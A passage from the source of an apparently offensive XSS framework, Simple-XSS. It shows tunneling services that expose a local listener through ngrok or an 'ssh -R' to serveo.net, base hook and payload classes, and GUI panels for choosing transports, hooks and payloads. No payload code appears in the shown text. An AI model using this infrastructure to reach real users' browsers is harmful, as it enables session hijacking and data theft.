60 | logger.debug(f'Tunnel is down: localhost:{session.port} -> {session.public_url}')
61 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/ngrok/sessions.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 |
3 | from ..types import (
4 | BaseSession,
5 | )
6 |
7 |
8 | @dataclass
9 | class NgrokSession(BaseSession):
10 | pass
11 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/serveo/__init__.py:
--------------------------------------------------------------------------------
1 | from .services import ServeoService
2 |
3 | __all__ = [
4 | 'ServeoService',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/serveo/services.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 | import subprocess
3 |
4 | from simplexss.core.logging import logger
5 | from simplexss.utils.network import (
6 | change_protocol,
7 | validate_port,
8 | )
9 |
10 | from .sessions import ServeoSession
11 | from ..types import (
12 | BaseTunnelingService,
13 | BaseSession,
14 | )
15 | from ..exceptions import (
16 | TunnelingError
17 | )
18 |
19 |
20 | class ServeoService(BaseTunnelingService):
21 | NAME = 'serveo'
22 | PROTOCOLS = {
23 | 'http',
24 | }
25 | PROTOCOL_SCHEMAS = {
26 | 'http': 'https'
27 | }
28 |
29 | def __init__(self):
30 | self._processes = {}
31 |
32 | async def _create_tunnel(self, port: int) -> str:
33 | command = f'ssh -R 80:localhost:{port} serveo.net'
34 | process = subprocess.Popen(
35 | command,
36 | stderr=subprocess.PIPE,
37 | stdout=subprocess.PIPE,
38 | shell=False
39 | )
40 | await asyncio.sleep(3)
41 | try:
42 | out = process.stdout.readline().decode('utf-8').strip()
43 | public_url = out.split(' from ')[1]
44 | self._processes.update({public_url: process})
45 | logger.debug(f'Tunnel is up: localhost:{port} -> {public_url}')
46 | except Exception as e:
47 | logger.error(f'Failed to open tunnel: {e.__class__.__name__}: {e}')
48 | raise TunnelingError(f'Failed to open tunnel: {e.__class__.__name__}: {e}')
49 |
50 | return public_url
51 |
52 | async def _create_session(self, port: int, protocol: str) -> BaseSession:
53 |
54 | schema = self.PROTOCOL_SCHEMAS[protocol]
55 | public_url = await self._create_tunnel(port=port)
56 | return ServeoSession(
57 | protocol=protocol,
58 | port=port,
59 | public_url=change_protocol(public_url, schema)
60 | )
61 |
62 | async def run(self, protocol: str, port: int) -> BaseSession:
63 | if protocol not in self.PROTOCOLS:
64 | raise ValueError(f'Protocol {protocol} not supported')
65 |
66 | validate_port(port=port, raise_exceptions=True)
67 |
68 | return await self._create_session(port=port, protocol=protocol)
69 |
70 | async def stop(self, session: BaseSession):
71 | process = self._processes.pop(session.public_url, None)
72 | if process is not None:
73 | process.kill()
74 | logger.debug(f'Tunnel is down: localhost:{session.port} -> {session.public_url}')
75 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/serveo/sessions.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 |
3 | from ..types import (
4 | BaseSession,
5 | )
6 |
7 |
8 | @dataclass
9 | class ServeoSession(BaseSession):
10 | pass
11 |
--------------------------------------------------------------------------------
/simplexss/core/tunneling/types.py:
--------------------------------------------------------------------------------
1 | from abc import (
2 | ABC,
3 | abstractmethod
4 | )
5 | from typing import (
6 | Iterable,
7 | Container
8 | )
9 |
10 | from dataclasses import dataclass
11 |
12 |
13 | @dataclass
14 | class BaseSession:
15 | protocol: str
16 | port: int
17 | public_url: str
18 |
19 |
20 | class BaseTunnelingService(ABC):
21 | NAME: str
22 | PROTOCOLS: Container[str] = ()
23 |
24 | @abstractmethod
25 | async def run(self, protocol: str, port: int) -> BaseSession: ...
26 |
27 | @abstractmethod
28 | async def stop(self, session: BaseSession): ...
29 |
30 |
31 | class BaseTunnelingServiceFactory(ABC):
32 | @abstractmethod
33 | def create(self, name: str) -> BaseTunnelingService: ...
34 |
35 | @abstractmethod
36 | def get_service(self, name: str) -> type[BaseTunnelingService] | None: ...
37 |
38 | @abstractmethod
39 | def get_names(self, protocol: str) -> Iterable[str]: ...
40 |
--------------------------------------------------------------------------------
/simplexss/core/types.py:
--------------------------------------------------------------------------------
1 | from typing import Container
2 | from abc import (
3 | ABC,
4 | abstractmethod
5 | )
6 |
7 | from simplexss.core.io import BaseIOManagerAPI
8 | from simplexss.core.transports import BaseTransportAPI
9 | from simplexss.core.data import Environment
10 | from simplexss.utils.packages import Package
11 |
12 |
13 | class BaseCore(ABC):
14 | @abstractmethod
15 | async def run(self): ...
16 |
17 |
18 | class BaseHook(Package, ABC):
19 | TRANSPORTS: Container[str] = set()
20 | io: BaseIOManagerAPI = None
21 | environment: Environment = None
22 |
23 | @property
24 | @abstractmethod
25 | def hook(self) -> str: ...
26 |
27 | def bind_dependencies(self, **deps):
28 | self.io = deps.get('io')
29 | self.environment = deps.get('env')
30 |
31 |
32 | class BasePayload(Package):
33 | transport: BaseTransportAPI = None
34 | io: BaseIOManagerAPI = None
35 | environment: Environment = None
36 |
37 | @property
38 | @abstractmethod
39 | def payload(self) -> str: ...
40 |
41 | def bind_dependencies(self, **deps):
42 | self.transport = deps.get('transport')
43 | self.io = deps.get('io')
44 | self.environment = deps.get('env')
45 |
46 | def bind_endpoints(self):
47 | pass
48 |
49 |
50 | class BasePlugin(Package):
51 | pass
52 |
--------------------------------------------------------------------------------
/simplexss/core/ui/__init__.py:
--------------------------------------------------------------------------------
1 | from .types import (
2 | BaseUI,
3 | BaseUIFactory
4 | )
5 |
6 | from .factories import (
7 | UIFactory,
8 | )
9 |
10 | __all__ = [
11 | 'BaseUI',
12 | 'BaseUIFactory',
13 | 'UIFactory',
14 | ]
15 |
--------------------------------------------------------------------------------
/simplexss/core/ui/channels.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.events import (
2 | EventChannel,
3 | AsyncEvent,
4 | Event
5 | )
6 |
7 |
8 | class UIChannel(EventChannel):
9 | ui_initialized = Event()
10 | ui_terminated = AsyncEvent()
11 |
12 | process_launched = AsyncEvent()
13 | process_terminated = AsyncEvent()
14 |
15 | show_error = AsyncEvent(required_kwargs=('error',))
16 |
--------------------------------------------------------------------------------
/simplexss/core/ui/cli/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CrazyProger1/Simple-XSS/758eb1810fb9068e6a66e5389d251b24bc34d6f2/simplexss/core/ui/cli/__init__.py
--------------------------------------------------------------------------------
/simplexss/core/ui/cli/cli.py:
--------------------------------------------------------------------------------
1 | from simplexss.core.schemas import (
2 | ArgumentsSchema,
3 | SettingsSchema
4 | )
5 | from simplexss.core.containers import CoreContainer
6 | from simplexss.core.logging import logger
7 | from simplexss.utils.di import inject
8 | from ..types import BaseUI
9 | from ..channels import UIChannel
10 |
11 |
12 | class CLI(BaseUI):
13 | mode = 'cli'
14 |
15 | @inject
16 | def __init__(
17 | self,
18 | arguments: ArgumentsSchema = CoreContainer.arguments,
19 | settings: SettingsSchema = CoreContainer.settings
20 | ):
21 | self._arguments: ArgumentsSchema = arguments
22 | self._settings: SettingsSchema = settings
23 |
24 | logger.info('CLI initialized')
25 | UIChannel.ui_initialized.publish()
26 |
27 | async def run(self):
28 | pass
29 |
--------------------------------------------------------------------------------
/simplexss/core/ui/contexts.py:
--------------------------------------------------------------------------------
1 | from dataclasses import dataclass
2 |
3 | from simplexss.core.schemas import (
4 | SettingsSchema,
5 | ArgumentsSchema,
6 | )
7 |
8 |
9 | @dataclass
10 | class UIContext:
11 | settings: SettingsSchema
12 | arguments: ArgumentsSchema
13 | process_running: bool = False
14 | hook: str = None
15 |
--------------------------------------------------------------------------------
/simplexss/core/ui/factories.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.clsutils import iter_subclasses
2 | from .types import (
3 | BaseUI,
4 | BaseUIFactory
5 | )
6 |
7 |
8 | class UIFactory(BaseUIFactory):
9 | def create(self, mode: str) -> BaseUI:
10 | ui = self.get_ui(mode=mode)
11 | if ui is None:
12 | raise ValueError(f'UI not found: {mode}')
13 | return ui()
14 |
15 | def get_ui(self, mode: str) -> type[BaseUI] | None:
16 | for ui in iter_subclasses(BaseUI):
17 | if ui.mode == mode:
18 | return ui
19 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/__init__.py:
--------------------------------------------------------------------------------
1 | from .gui import GUI
2 |
3 | __all__ = [
4 | 'GUI',
5 | ]
6 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/banners/__init__.py:
--------------------------------------------------------------------------------
1 | from .error import ErrorBanner
2 | from .warning import WarningBanner
3 |
4 | __all__ = [
5 | 'ErrorBanner',
6 | 'WarningBanner',
7 | ]
8 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/banners/basic.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from .enums import Messages
4 | from ..types import BaseBanner
5 |
6 |
7 | class BannerBasicFunctionality(BaseBanner):
8 | TEXT_COLOR = None
9 | BG_COLOR = None
10 | ICON = None
11 | ICON_COLOR = None
12 |
13 | def __init__(self):
14 | super(BannerBasicFunctionality, self).__init__(
15 | bgcolor=self.BG_COLOR,
16 | leading=ft.Icon(self.ICON, color=self.ICON_COLOR, size=40), actions=[
17 | ft.TextButton(Messages.OK, style=ft.ButtonStyle(color=self.TEXT_COLOR), on_click=self._hide),
18 | ],
19 | )
20 |
21 | async def _hide(self, _):
22 | await self.hide()
23 |
24 | async def show(self, page: ft.Page, message: str):
25 | page.banner = self
26 | self.content = ft.Text(message, color=self.TEXT_COLOR, selectable=True)
27 | page.banner.open = True
28 | await page.update_async()
29 |
30 | async def hide(self):
31 | self.open = False
32 | await self.update_async()
33 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/banners/constants.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | # Warning banner
4 | WARNING_BANNER_TEXT_COLOR = ft.colors.RED
5 | WARNING_BANNER_ICON_COLOR = ft.colors.AMBER
6 | WARNING_BANNER_BG_COLOR = ft.colors.AMBER_100
7 | WARNING_BANNER_ICON = ft.icons.WARNING_AMBER_ROUNDED
8 |
9 | # Error banner
10 | ERROR_BANNER_TEXT_COLOR = ft.colors.RED
11 | ERROR_BANNER_ICON_COLOR = ft.colors.RED
12 | ERROR_BANNER_BG_COLOR = ft.colors.AMBER_100
13 | ERROR_BANNER_ICON = ft.icons.ERROR_ROUNDED
14 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/banners/enums.py:
--------------------------------------------------------------------------------
1 | from i18n import TranslatableEnum
2 |
3 |
4 | class Messages(TranslatableEnum):
5 | OK = 'Ok'
6 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/banners/error.py:
--------------------------------------------------------------------------------
1 | from .basic import BannerBasicFunctionality
2 | from .constants import (
3 | ERROR_BANNER_TEXT_COLOR,
4 | ERROR_BANNER_BG_COLOR,
5 | ERROR_BANNER_ICON,
6 | ERROR_BANNER_ICON_COLOR
7 | )
8 |
9 |
10 | class ErrorBanner(BannerBasicFunctionality):
11 | TEXT_COLOR = ERROR_BANNER_TEXT_COLOR
12 | BG_COLOR = ERROR_BANNER_BG_COLOR
13 | ICON = ERROR_BANNER_ICON
14 | ICON_COLOR = ERROR_BANNER_ICON_COLOR
15 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/banners/warning.py:
--------------------------------------------------------------------------------
1 | from .basic import BannerBasicFunctionality
2 | from .constants import (
3 | WARNING_BANNER_ICON,
4 | WARNING_BANNER_ICON_COLOR,
5 | WARNING_BANNER_BG_COLOR,
6 | WARNING_BANNER_TEXT_COLOR
7 | )
8 |
9 |
10 | class WarningBanner(BannerBasicFunctionality):
11 | TEXT_COLOR = WARNING_BANNER_TEXT_COLOR
12 | BG_COLOR = WARNING_BANNER_BG_COLOR
13 | ICON = WARNING_BANNER_ICON
14 | ICON_COLOR = WARNING_BANNER_ICON_COLOR
15 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/channels.py:
--------------------------------------------------------------------------------
1 | from simplexss.utils.events import (
2 | EventChannel,
3 | AsyncEvent,
4 | Event
5 | )
6 |
7 |
8 | class GUIChannel(EventChannel):
9 | need_update = AsyncEvent()
10 | process_launched = AsyncEvent()
11 | process_terminated = AsyncEvent()
12 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/__init__.py:
--------------------------------------------------------------------------------
1 | from .main import MainBox
2 | from .network import NetworkBox
3 | from .hook import HookBox
4 | from .payload import PayloadBox
5 | from .process import ProcessControlBox
6 | from .message import (
7 | MessageAreaBox,
8 | MessageControlBox,
9 | )
10 |
11 | __all__ = [
12 | 'MainBox',
13 | 'MessageAreaBox',
14 | 'MessageControlBox',
15 | 'NetworkBox',
16 | 'HookBox',
17 | 'PayloadBox',
18 | 'ProcessControlBox'
19 | ]
20 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/constants.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from simplexss.core.io import Color
4 |
5 | # Box
6 | BOX_BORDER_RADIUS = 5
7 | BOX_BORDER = ft.border.all(1, ft.colors.OUTLINE)
8 | BOX_PADDING = 15
9 |
10 | # Text
11 | TEXT_FONT_SIZE = 20
12 | DESCRIPTION_MAX_LINES = 3
13 | INVALID_TEXT_COLOR = ft.colors.RED
14 |
15 | # Icons
16 | ICON_SIZE = 35
17 |
18 | # Messages
19 | MESSAGE_SPACING = 5
20 | MESSAGE_FONT_SIZE = 15
21 |
22 | COLOR_TABLE = {
23 | Color.DEFAULT: ft.colors.WHITE,
24 | Color.RED: ft.colors.RED,
25 | Color.GREEN: ft.colors.GREEN,
26 | Color.BLUE: ft.colors.BLUE,
27 | }
28 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/enums.py:
--------------------------------------------------------------------------------
1 | from i18n import TranslatableEnum
2 |
3 |
4 | class Messages(TranslatableEnum):
5 | NETWORK = 'Network'
6 | USE_TUNNELLING_SERVICE = 'Use Tunnelling Service'
7 | PUBLIC_URL = 'Public URL'
8 | HOST = 'Host'
9 | PORT = 'Port'
10 | PAYLOAD = 'Payload'
11 | HOOK = 'Hook'
12 | RUN = 'Run'
13 | STOP = 'Stop'
14 | COPY = 'Copy'
15 | MESSAGE = 'Message'
16 | SEND = 'Send'
17 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/hook.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from simplexss.core.schemas import SettingsSchema
4 | from simplexss.core.transports import BaseTransportServiceFactory
5 | from simplexss.utils.packages import PackageManager
6 | from .constants import (
7 | DESCRIPTION_MAX_LINES,
8 | TEXT_FONT_SIZE,
9 | BOX_BORDER_RADIUS,
10 | BOX_BORDER,
11 | BOX_PADDING
12 | )
13 | from .enums import Messages
14 | from ..exceptions import ValidationError
15 | from ..types import (
16 | BaseComponent,
17 | )
18 |
19 |
20 | class HookBox(BaseComponent):
21 | def __init__(
22 | self,
23 | manager: PackageManager,
24 | transport_factory: BaseTransportServiceFactory,
25 | ):
26 | self._transport_factory = transport_factory
27 | self._manager = manager
28 | self._hook_name_text = ft.Text(
29 | value=Messages.HOOK,
30 | size=TEXT_FONT_SIZE,
31 | expand=True,
32 | text_align=ft.TextAlign.CENTER
33 | )
34 | self._hook_dropdown = ft.Dropdown(
35 | expand=True,
36 | border_color=ft.colors.OUTLINE,
37 | on_change=self._handle_change_hook
38 |
39 | )
40 |
41 | self._hook_description_text = ft.Text(
42 | visible=True,
43 | max_lines=DESCRIPTION_MAX_LINES,
44 | overflow=ft.TextOverflow.ELLIPSIS
45 | )
46 | self._hook_author_text = ft.Text(
47 | text_align=ft.TextAlign.RIGHT,
48 | italic=True
49 | )
50 | self._container = ft.Container(
51 | border=BOX_BORDER,
52 | border_radius=BOX_BORDER_RADIUS,
53 | padding=BOX_PADDING,
54 | content=ft.Column(
55 | controls=[
56 | ft.Row(
57 | controls=[
58 | self._hook_name_text
59 | ]
60 | ),
61 | ft.Row(
62 | controls=[
63 | self._hook_dropdown,
64 | ]
65 | ),
66 | self._hook_description_text,
67 | ft.Container(
68 | content=self._hook_author_text,
69 | alignment=ft.alignment.bottom_right,
70 |
71 | )
72 | ]
73 | )
74 | )
75 |
76 | async def _handle_change_hook(self, e):
77 | await self.update_async()
78 |
79 | def _update_hook_options(self):
80 | options = [
81 | hook.NAME
82 | for hook in self._manager.packages
83 | if self.context.settings.transport.current in hook.TRANSPORTS
84 | ]
85 | self._hook_dropdown.options = [
86 | ft.dropdown.Option(option)
87 | for option in options
88 | ]
89 | if self._hook_dropdown.value not in options:
90 | self._hook_dropdown.value = None
91 |
92 | def _update_hook_info(self):
93 | self._hook_author_text.value = f''
94 | self._hook_description_text.value = ''
95 |
96 | hook = self._manager.get_package(self._hook_dropdown.value)
97 |
98 | if hook is not None:
99 | self._hook_author_text.value = f'@{hook.AUTHOR}'
100 | self._hook_description_text.value = str(hook.DESCRIPTION)
101 |
102 | async def _update_container(self):
103 | self._container.disabled = self.context.process_running
104 | await self._container.update_async()
105 |
106 | async def setup_async(self):
107 | self._hook_dropdown.value = self.context.settings.hook.current
108 |
109 | await self.update_async()
110 |
111 | async def update_async(self):
112 | self._update_hook_options()
113 |
114 | self._update_hook_info()
115 |
116 | await self._update_container()
117 |
118 | async def validate_async(self):
119 | if self._hook_dropdown.value is None:
120 | raise ValidationError('Please choose hook')
121 |
122 | async def save_async(self):
123 | self.context.settings.hook.current = self._hook_dropdown.value
124 |
125 | def build(self):
126 | return self._container
127 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/main.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from ..types import BaseComponent
4 |
5 |
6 | class MainBox(BaseComponent):
7 | def __init__(
8 | self,
9 | network_box: BaseComponent,
10 | hook_box: BaseComponent,
11 | payload_box: BaseComponent,
12 | process_control_box: BaseComponent,
13 | message_area_box: BaseComponent,
14 | message_control_box: BaseComponent,
15 | ):
16 | self._network_box = network_box
17 | self._hook_box = hook_box
18 | self._payload_box = payload_box
19 | self._process_control_box = process_control_box
20 | self._message_area_box = message_area_box
21 | self._message_control_box = message_control_box
22 |
23 | def build(self):
24 | return ft.Row(
25 | expand=True,
26 | controls=[
27 | ft.Column(
28 | expand=True,
29 | controls=[
30 | self._network_box.build(),
31 | self._hook_box.build(),
32 | self._payload_box.build(),
33 | self._process_control_box.build()
34 | ]
35 | ),
36 | ft.Column(
37 | expand=True,
38 | controls=[
39 | self._message_area_box.build(),
40 | self._message_control_box.build()
41 | ]
42 | )
43 | ]
44 | )
45 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/message.py:
--------------------------------------------------------------------------------
1 | import asyncio
2 |
3 | import flet as ft
4 |
5 | from simplexss.core.io import (
6 | BaseIOManagerAPI,
7 | Color
8 | )
9 | from .constants import (
10 | MESSAGE_SPACING,
11 | BOX_BORDER,
12 | BOX_BORDER_RADIUS,
13 | BOX_PADDING,
14 | MESSAGE_FONT_SIZE,
15 | ICON_SIZE,
16 | COLOR_TABLE
17 | )
18 | from .enums import Messages
19 | from ..types import BaseComponent
20 |
21 |
22 | class MessageAreaBox(BaseComponent):
23 | def __init__(self, io_manager: BaseIOManagerAPI):
24 | self._io_manager = io_manager
25 | self._io_manager.add_sink(self._sink)
26 | self._message_list_view = ft.ListView(
27 | expand=True,
28 | spacing=MESSAGE_SPACING,
29 | auto_scroll=True,
30 | )
31 | self._content = ft.Row(
32 | expand=True,
33 | controls=[
34 | ft.Container(
35 | content=self._message_list_view,
36 | border=BOX_BORDER,
37 | border_radius=BOX_BORDER_RADIUS,
38 | padding=BOX_PADDING,
39 | expand=True,
40 | )
41 | ]
42 | )
43 |
44 | async def _add_text(self, text: ft.Text):
45 | self._message_list_view.controls.append(text)
46 | await self._message_list_view.update_async()
47 |
48 | async def _sink(self, message: str, color: Color):
49 | await self._add_text(
50 | ft.Text(
51 | message,
52 | selectable=True,
53 | color=COLOR_TABLE.get(color if isinstance(color, str) else color, COLOR_TABLE[Color.DEFAULT]),
54 | size=MESSAGE_FONT_SIZE
55 | )
56 | )
57 |
58 | async def update_async(self):
59 | self._content.disabled = not self.context.process_running
60 | await self._content.update_async()
61 |
62 | def build(self):
63 | return self._content
64 |
65 |
66 | class MessageControlBox(BaseComponent):
67 | def __init__(self, io_manager: BaseIOManagerAPI):
68 | self._io_manager = io_manager
69 | self._io_manager.set_source(self._source)
70 | self._input_field = ft.TextField(
71 | expand=True,
72 | border_color=ft.colors.OUTLINE,
73 | hint_text=Messages.MESSAGE,
74 | disabled=True
75 | )
76 | self._send_button = ft.IconButton(
77 | icon=ft.icons.SEND,
78 | icon_size=ICON_SIZE,
79 | icon_color=ft.colors.BLUE_200,
80 | tooltip=Messages.SEND,
81 | disabled=True,
82 | on_click=self._handle_send
83 | )
84 | self._content = ft.Row(
85 | controls=[
86 | self._input_field,
87 | self._send_button
88 | ]
89 | )
90 |
91 | self._text_entered = False
92 | self._text = None
93 |
94 | async def _handle_send(self, e):
95 | self._text_entered = True
96 | self._text = self._input_field.value
97 |
98 | async def _source(self, prompt: str, color: Color):
99 | self._input_field.hint_text = prompt
100 | self._input_field.disabled = False
101 | self._send_button.disabled = False
102 | self._text_entered = False
103 |
104 | await self.update_async()
105 |
106 | while not self._text_entered:
107 | await asyncio.sleep(0.1)
108 |
109 | self._input_field.hint_text = Messages.MESSAGE
110 | self._input_field.disabled = True
111 | self._send_button.disabled = True
112 | self._input_field.value = None
113 |
114 | await self.update_async()
115 |
116 | await self._io_manager.print(f'{prompt}: {self._text}', color=color)
117 |
118 | return self._text
119 |
120 | async def update_async(self):
121 | await self._content.update_async()
122 |
123 | def build(self):
124 | return self._content
125 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/network.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from simplexss.core.transports import BaseTransportServiceFactory
4 | from simplexss.core.tunneling import BaseTunnelingServiceFactory
5 | from simplexss.utils.network import (
6 | validate_port,
7 | validate_host,
8 | validate_url
9 | )
10 | from .enums import Messages
11 | from .constants import (
12 | TEXT_FONT_SIZE,
13 | BOX_BORDER,
14 | BOX_BORDER_RADIUS,
15 | BOX_PADDING,
16 | )
17 | from ..exceptions import ValidationError
18 | from ..channels import GUIChannel
19 | from ..types import (
20 | BaseComponent,
21 | )
22 |
23 |
24 | class NetworkBox(BaseComponent):
25 | def __init__(
26 | self,
27 | tunneling_factory: BaseTunnelingServiceFactory,
28 | transport_factory: BaseTransportServiceFactory,
29 | ):
30 | self._tunneling_factory = tunneling_factory
31 | self._transport_factory = transport_factory
32 |
33 | self._box_name_text = ft.Text(
34 | value=Messages.NETWORK,
35 | size=TEXT_FONT_SIZE,
36 | expand=True,
37 | text_align=ft.TextAlign.CENTER
38 | )
39 | self._transport_dropdown = ft.Dropdown(
40 | expand=True,
41 | border_color=ft.colors.OUTLINE,
42 | on_change=self._handle_transport_change
43 | )
44 |
45 | self._tunneling_dropdown = ft.Dropdown(
46 | expand=True,
47 | border_color=ft.colors.OUTLINE,
48 | )
49 | self._host_field = ft.TextField(
50 | visible=True,
51 | expand=True,
52 | border_color=ft.colors.OUTLINE,
53 | hint_text=Messages.HOST,
54 | on_change=self._handle_host_change
55 | )
56 |
57 | self._port_field = ft.TextField(
58 | visible=True,
59 | width=100,
60 | border_color=ft.colors.OUTLINE,
61 | hint_text=Messages.PORT,
62 | on_change=self._handle_port_change
63 | )
64 | self._public_url_field = ft.TextField(
65 | expand=True,
66 | border_color=ft.colors.OUTLINE,
67 | hint_text=Messages.PUBLIC_URL,
68 | on_change=self._handle_url_change
69 | )
70 |
71 | self._use_tunneling_checkbox = ft.Checkbox(
72 | label=Messages.USE_TUNNELLING_SERVICE,
73 | on_change=self._handle_checkbox_change
74 | )
75 |
76 | self._container = ft.Container(
77 | border=BOX_BORDER,
78 | border_radius=BOX_BORDER_RADIUS,
79 | padding=BOX_PADDING,
80 | content=ft.Column(
81 | scroll=ft.ScrollMode.AUTO,
82 | controls=[
83 | ft.Row(
84 | controls=[
85 | self._box_name_text
86 | ]
87 | ),
88 |
89 | ft.Row(
90 | controls=[
91 | self._transport_dropdown
92 | ]
93 | ),
94 | ft.Row(
95 | controls=[
96 | self._host_field,
97 | self._port_field
98 | ]
99 | ),
100 | ft.Divider(),
101 | ft.Row(
102 | controls=[
103 | self._use_tunneling_checkbox
104 | ]
105 | ),
106 |
107 | ft.Row(
108 | controls=[
109 | self._tunneling_dropdown,
110 | self._public_url_field
111 | ]
112 | )
113 |
114 | ]
115 | ),
116 | expand=True
117 | )
118 |
119 | async def _handle_checkbox_change(self, e):
120 | self.context.settings.tunneling.use = self._use_tunneling_checkbox.value
121 | await self.update_async()
122 |
123 | async def _handle_transport_change(self, e):
124 | self.context.settings.transport.current = self._transport_dropdown.value
125 | await GUIChannel.need_update.publish_async()
126 |
127 | async def _handle_tunneling_change(self, e):
128 | self.context.settings.tunneling.current = self._tunneling_dropdown.value
129 | await GUIChannel.need_update.publish_async()
130 |
131 | async def _handle_host_change(self, e):
132 | valid = validate_host(self._host_field.value)
133 |
134 | self._host_field.color = ft.colors.RED if not valid else None
135 |
136 | await self._host_field.update_async()
137 |
138 | async def _handle_port_change(self, e):
139 | port = self._port_field.value
140 |
141 | valid = port.isdigit() and validate_port(int(port))
142 |
143 | self._port_field.color = ft.colors.RED if not valid else None
144 |
145 | await self._port_field.update_async()
146 |
147 | async def _handle_url_change(self, e):
148 | url = self._public_url_field.value
149 |
150 | valid = validate_url(url)
151 |
152 | self._public_url_field.color = ft.colors.RED if not valid else None
153 |
154 | await self._public_url_field.update_async()
155 |
156 | async def _update_container(self):
157 | self._container.disabled = self.context.process_running
158 | await self._container.update_async()
159 |
160 | def _update_transport_options(self):
161 | self._transport_dropdown.options = [
162 | ft.dropdown.Option(option)
163 | for option in self._transport_factory.get_names()
164 | ]
165 |
166 | def _update_tunneling_options(self):
167 | use_tunneling = self._use_tunneling_checkbox.value
168 | self._tunneling_dropdown.visible = use_tunneling
169 | self._public_url_field.visible = not use_tunneling
170 |
171 | transport = self._transport_factory.get_service(self._transport_dropdown.value)
172 |
173 | if transport is not None:
174 | self._tunneling_dropdown.options = [
175 | ft.dropdown.Option(option)
176 | for option in self._tunneling_factory.get_names(transport.PROTOCOL)
177 | ]
178 |
179 | self._tunneling_dropdown.value = self.context.settings.tunneling.current
180 |
181 | async def setup_async(self):
182 | use_tunneling = self.context.settings.tunneling.use
183 | self._use_tunneling_checkbox.value = use_tunneling
184 | self._tunneling_dropdown.visible = use_tunneling
185 | self._public_url_field.visible = not use_tunneling
186 | self._public_url_field.value = self.context.settings.tunneling.public_url
187 |
188 | self._host_field.value = self.context.settings.transport.host
189 | self._port_field.value = str(self.context.settings.transport.port)
190 |
191 | self._transport_dropdown.value = self.context.settings.transport.current
192 | await self.update_async()
193 |
194 | async def update_async(self):
195 | self._update_transport_options()
196 | self._update_tunneling_options()
197 |
198 | await self._update_container()
199 |
200 | async def validate_async(self):
201 | if self._transport_dropdown.value is None:
202 | raise ValidationError('Please choose transport')
203 |
204 | host = self._host_field.value
205 | port = self._port_field.value
206 |
207 | if not port.isdigit() or not validate_port(int(port)):
208 | raise ValidationError('Invalid port')
209 |
210 | if not validate_host(host):
211 | raise ValidationError('Invalid host')
212 |
213 | async def save_async(self):
214 | self.context.settings.transport.current = self._transport_dropdown.value
215 | self.context.settings.transport.port = int(self._port_field.value)
216 | self.context.settings.transport.host = self._host_field.value
217 | self.context.settings.tunneling.current = self._tunneling_dropdown.value
218 | self.context.settings.tunneling.public_url = self._public_url_field.value
219 |
220 | def build(self):
221 | return self._container
222 |
--------------------------------------------------------------------------------
/simplexss/core/ui/gui/components/payload.py:
--------------------------------------------------------------------------------
1 | import flet as ft
2 |
3 | from simplexss.core.schemas import SettingsSchema
4 | from simplexss.utils.packages import PackageManager
5 | from .constants import (
6 | BOX_BORDER,
7 | BOX_BORDER_RADIUS,
8 | BOX_PADDING,
9 | DESCRIPTION_MAX_LINES,
10 | TEXT_FONT_SIZE
11 | )
12 | from .enums import Messages
13 | from ..exceptions import ValidationError
14 | from ..types import (
15 | BaseComponent,
16 | )
17 |
18 |
19 | class PayloadBox(BaseComponent):
20 | def __init__(self, manager: PackageManager):
21 | self._manager = manager
22 |
23 | self._payload_name_text = ft.Text(
24 | value=Messages.PAYLOAD,
25 | size=TEXT_FONT_SIZE,
26 | expand=True,
27 | text_align=ft.TextAlign.CENTER
28 | )
29 | self._payload_dropdown = ft.Dropdown(
30 | expand=True,
31 | border_color=ft.colors.OUTLINE,
32 | on_change=self._handle_change_payload
33 |
34 | )
35 | self._payload_description_text = ft.Text(
36 | visible=True,
37 | max_lines=DESCRIPTION_MAX_LINES,
38 | overflow=ft.TextOverflow.ELLIPSIS
39 | )
40 | self._payload_author_text = ft.Text(
41 | text_align=ft.TextAlign.RIGHT,
42 | italic=True
43 | )
44 |
45 | self._container = ft.Container(
46 | border=BOX_BORDER,
47 | border_radius=BOX_BORDER_RADIUS,
48 | padding=BOX_PADDING,
49 | content=ft.Column(
50 | controls=[
51 | ft.Row(
52 | controls=[
53 | self._payload_name_text
54 | ]
55 | ),
56 | ft.Row(
57 | controls=[
58 | self._payload_dropdown,
59 | ]
60 | ),
61 | self._payload_description_text,
62 | ft.Container(
63 | content=self._payload_author_text,
64 | alignment=ft.alignment.bottom_right,
65 |
66 | )
67 | ]
68 | )
69 | )
70 |
71 | async def _handle_change_payload(self, e):
72 | await self.update_async()
73 |
74 | async def _update_container(self):
75 | self._container.disabled = self.context.process_running
76 | await self._container.update_async()
77 |
78 | def _update_payload_info(self):
79 | payload = self._manager.get_package(self._payload_dropdown.value)
80 |
81 | if payload:
82 | self._payload_author_text.value = f'@{payload.AUTHOR}'
83 | self._payload_description_text.value = str(payload.DESCRIPTION)
84 |
85 | def _update_payload_options(self):
